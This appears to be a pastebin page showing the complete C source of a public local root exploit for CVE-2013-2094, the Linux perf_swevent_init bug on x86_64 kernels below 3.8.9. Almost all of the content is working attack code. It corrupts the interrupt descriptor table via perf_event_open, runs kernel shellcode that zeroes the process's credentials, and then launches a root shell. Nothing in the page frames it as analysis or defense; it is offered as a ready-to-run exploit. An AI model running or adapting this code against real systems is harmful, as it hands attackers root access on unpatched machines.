View difference between Paste ID: iscY5fQ5 and X2wPEaNX
SHOW: | | - or go back to the newest paste.
1
/*
2
 *Name : perf_swevent_init.c
3
 *Kernal Version : x86_64 Linux < 3.8.9
4
 * CVE-2013-2094 exploit x86_64 Linux < 3.8.9
5
 * by sorbo ([email protected]) June 2013
6
 *
7
 * Based on sd's exploit.  Supports more targets.
8
 *
9
 */
10
11
#define _GNU_SOURCE
12
#include <string.h>
13
#include <stdio.h>
14
#include <unistd.h>
15
#include <stdlib.h>
16
#include <stdint.h>
17
#include <sys/syscall.h>
18
#include <sys/mman.h>
19
#include <linux/perf_event.h>
20
#include <signal.h>
21
#include <assert.h>
22
23
#define BASE		0x380000000
24
#define BASE_JUMP	0x1780000000
25
#define SIZE  		0x10000000
26
#define KSIZE		0x2000000
27
28
#define TMP(x) (0xdeadbeef + (x))
29
30
struct idt {
31
	uint16_t limit;
32
	uint64_t addr;
33
} __attribute__((packed));
34
35
static int _fd;
36
37
static int perf_open(uint64_t off)
38
{
39
	struct perf_event_attr attr;
40
	int rc;
41
42
//	printf("perf open %lx [%d]\n", off, (int) off);
43
44
	memset(&attr, 0, sizeof(attr));
45
46
	attr.type   	    = PERF_TYPE_SOFTWARE;
47
	attr.size   	    = sizeof(attr);
48
	attr.config 	    = off;
49
	attr.mmap   	    = 1;
50
	attr.comm   	    = 1;
51
	attr.exclude_kernel = 1;
52
53
	rc = syscall(SYS_perf_event_open, &attr, 0, -1, -1, 0);
54
55
	return rc;
56
}
57
58
void __sc_start(void);
59
void __sc_next(void);
60
61
void __sc(void)
62
{
63
	asm("__sc_start:\n"
64
	    "call __sc_next\n"
65
	    "iretq\n"
66
	    "__sc_next:\n");
67
}
68
69
void sc(void)
70
{
71
	int i, j;
72
	uint8_t *current = *(uint8_t **)(((uint64_t) &i) & (-8192));
73
	uint64_t kbase = ((uint64_t)current) >> 36;
74
	int uid = TMP(1);
75
	int gid = TMP(2);
76
77
	for (i = 0; i < 4000; i += 4) {
78
		uint64_t *p = (void *) &current[i];
79
		uint32_t *cred = (uint32_t*) p[0];
80
81
		if ((p[0] != p[1]) || ((p[0]>>36) != kbase))
82
			continue;
83
84
		for (j = 0; j < 20; j++) {
85
			if (cred[j] == uid && cred[j + 1] == gid) {
86
				for (i = 0; i < 8; i++) {
87
					cred[j + i] = 0;
88
					return;
89
				}
90
			}
91
		}
92
	}
93
}
94
95
static void sc_replace(uint8_t *sc, uint32_t needle, uint32_t val)
96
{
97
	void *p;
98
99
	p = memmem(sc, 900, &needle, sizeof(needle));
100
	if (!p)
101
		errx(1, "can't find %x", needle);
102
103
	memcpy(p, &val, sizeof(val));
104
}
105
106
static void *map_mem(uint64_t addr)
107
{
108
	void *p;
109
110
	p = mmap((void*) addr, SIZE, PROT_READ | PROT_WRITE,
111
		 MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
112
113
	if (p == MAP_FAILED)
114
		err(1, "mmap()");
115
116
	return p;
117
}
118
119
static int find_mem(void *mem, uint8_t c)
120
{
121
	int i;
122
	uint8_t *p = mem;
123
124
	for (i = 0; i < SIZE; i++) {
125
		if (p[i] == c)
126
			return i;
127
	}
128
129
	return -1;
130
}
131
132
static void dropshell()
133
{
134
	if (setuid(0) != 0)
135
		errx(1, "failed");
136
137
	printf("Launching shell\n");
138
139
	execl("/bin/sh", "sh", NULL);
140
	exit(0);
141
}
142
143
void morte(int x)
144
{
145
	printf("Got signal\n");
146
	close(_fd);
147
	dropshell();
148
}
149
150
static void trigger(int intr)
151
{
152
	switch (intr) {
153
	case 0:
154
		do {
155
			int z = 1;
156
			int a = 1;
157
158
			z--;
159
160
			a /= z;
161
		} while (0);
162
		break;
163
164
	case 4:
165
		asm("int $4");
166
		break;
167
168
	case 0x80:
169
		asm("int $0x80");
170
		break;
171
172
	default:
173
		errx(1, "unknown intr %d", intr);
174
	}
175
176
	sleep(3);
177
}
178
179
int main(int argc, char *argv[])
180
{
181
	uint32_t *p[2];
182
	int fd, i;
183
	uint64_t off;
184
	uint64_t addr = BASE;
185
	struct idt idt;
186
	uint8_t *kbase;
187
	int sz = 4;
188
	int intr = 4;
189
190
	printf("Searchin...\n");
191
192
	p[0] = map_mem(BASE);
193
	p[1] = map_mem(BASE_JUMP);
194
195
	memset(p[1], 0x69, SIZE);
196
197
	off = 0xFFFFFFFFL;
198
	fd = perf_open(off);
199
	close(fd);
200
201
	i = find_mem(p[0], 0xff);
202
	if (i == -1) {
203
		i = find_mem(p[1], 0x68);
204
205
		if (i == -1)
206
			errx(1, "Can't find overwrite");
207
208
		sz = 24;
209
		addr = BASE_JUMP;
210
		printf("detected CONFIG_JUMP_LABEL\n");
211
	}
212
213
	munmap(p[0], SIZE);
214
	munmap(p[1], SIZE);
215
216
	addr += i;
217
	addr -= off * sz;
218
219
	printf("perf_swevent_enabled is at 0x%lx\n", addr);
220
221
	asm("sidt %0" : "=m" (idt));
222
223
	printf("IDT at 0x%lx\n", idt.addr);
224
225
	off = addr - idt.addr;
226
	off -= 8;
227
228
	switch (off % sz) {
229
	case 0:
230
		intr = 0;
231
		break;
232
233
	case 8:
234
		intr = 0x80;
235
		break;
236
237
	case 16:
238
		intr = 4;
239
		break;
240
241
	default:
242
		errx(1, "remainder %d", off % sz);
243
	}
244
245
	printf("Using interrupt %d\n", intr);
246
247
	off -= 16 * intr;
248
249
	assert((off % sz) == 0);
250
251
	off /= sz;
252
	off = -off;
253
254
//	printf("Offset %lx\n", off);
255
256
	kbase = (uint8_t*) (idt.addr & 0xFF000000);
257
258
	printf("Shellcode at %p\n", kbase);
259
260
	if (mmap(kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
261
	     MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0) == MAP_FAILED)
262
		err(1, "mmap()");
263
264
	memset(kbase, 0x90, KSIZE);
265
	kbase += KSIZE - 1024;
266
267
	i = __sc_next - __sc_start;
268
	memcpy(kbase, __sc_start, i);
269
	kbase += i;
270
	memcpy(kbase, sc, 900);
271
272
	sc_replace(kbase, TMP(1), getuid());
273
	sc_replace(kbase, TMP(2), getgid());
274
275
	signal(SIGALRM, morte);
276
	alarm(2);
277
278
	printf("Triggering sploit\n");
279
	_fd = perf_open(off);
280
281
	trigger(intr);
282
283
	exit(0);
284
}